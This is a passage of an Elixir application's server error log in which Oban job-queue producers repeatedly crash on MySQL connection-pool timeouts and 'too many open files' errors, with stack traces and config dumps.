State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:38:45.245599Z], limit: 5, uuid: "ddfde5b5-3eed-44a1-baac-5e6caa3d9acf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:45.245604Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.238789>, refresh_timer: #Reference<0.2525715032.1077411843.204335>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:57.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:38:45.244228Z], limit: 3, uuid: "e9900cb0-1610-4e3d-a3ed-0313bc7404ce", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:45.244233Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.238735>, refresh_timer: #Reference<0.2525715032.1077411843.204318>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:04.206000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:07.238000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:08.187000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:09.779000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:09.907000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:10.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1802ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:38:57.238795Z], limit: 50, uuid: "5b67ab6f-e8e1-43b4-ba51-69b9bd41d87b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:57.238801Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.239151>, refresh_timer: #Reference<0.2525715032.1099169794.239118>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:38:57.239155Z], limit: 5, uuid: "e34d06ae-2b21-4e29-bd45-c2c328bc9e90", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:57.239160Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.239150>, refresh_timer: #Reference<0.2525715032.1099169794.239138>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:10.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1863ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:38:57.242271Z], limit: 3, uuid: "0a679e56-12be-4163-a10e-91f0ed58432d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:57.242276Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.204443>, refresh_timer: #Reference<0.2525715032.1077411843.204434>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:38:57.238960Z], limit: 10, uuid: "04a16504-2e02-4056-a87c-0c128a00f1cb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:57.238965Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.239149>, refresh_timer: #Reference<0.2525715032.1099169794.239126>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:10.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:38:57.242065Z], limit: 5, uuid: "9303671d-2c19-4358-9153-2e48f12f22c3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:57.242071Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.204444>, refresh_timer: #Reference<0.2525715032.1121189889.83048>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:10.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:38:57.240159Z], limit: 20, uuid: "f1bf800e-995a-4ec8-bda7-4bee56f66c9a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:57.240165Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.204442>, refresh_timer: #Reference<0.2525715032.1077411843.204405>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:10.382000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:10.432000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:13.113000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:15.163000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:19.241000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:22.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:39:10.242037Z], limit: 50, uuid: "c5b746b0-c2fc-4c39-817e-5c533edd9653", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:10.242042Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.204640>, refresh_timer: #Reference<0.2525715032.1077411843.204596>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1054ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
